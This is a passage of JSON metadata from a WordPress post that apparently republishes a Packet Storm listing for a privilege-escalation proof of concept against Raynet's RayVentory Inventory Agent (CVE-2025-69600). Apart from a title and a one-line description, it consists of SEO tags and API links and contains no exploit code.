2.6.4392.49-amd64.deb Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215862&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69600&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : Raynet rvia 2.6.4392.49-amd64.deb...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41671\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-19T11:39:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862\",\"datePublished\":\"2026-02-19T11:39:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671\"},\"wordCount\":2531,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41671#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671\",\"name\":\"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-19T11:39:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41671\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41671#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41671","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:02&#8243;,&#8221;description&#8221;:&#8221;Proof of concept privilege escalation exploit for Raynet&#8217;s RayVentory Inventory Agent version 2.6.4392.49-amd64.deb&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215862&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69600&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : Raynet rvia 2.6.4392.49-amd64.deb...","og_url":"https:\/\/zero.redgem.net\/?p=41671","og_site_name":"zero redgem","article_published_time":"2026-02-19T11:39:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41671#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41671"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862","datePublished":"2026-02-19T11:39:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41671"},"wordCount":2531,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41671#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41671","url":"https:\/\/zero.redgem.net\/?p=41671","name":"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-19T11:39:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41671#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41671"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41671#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41671","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41671"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41671\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41671"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}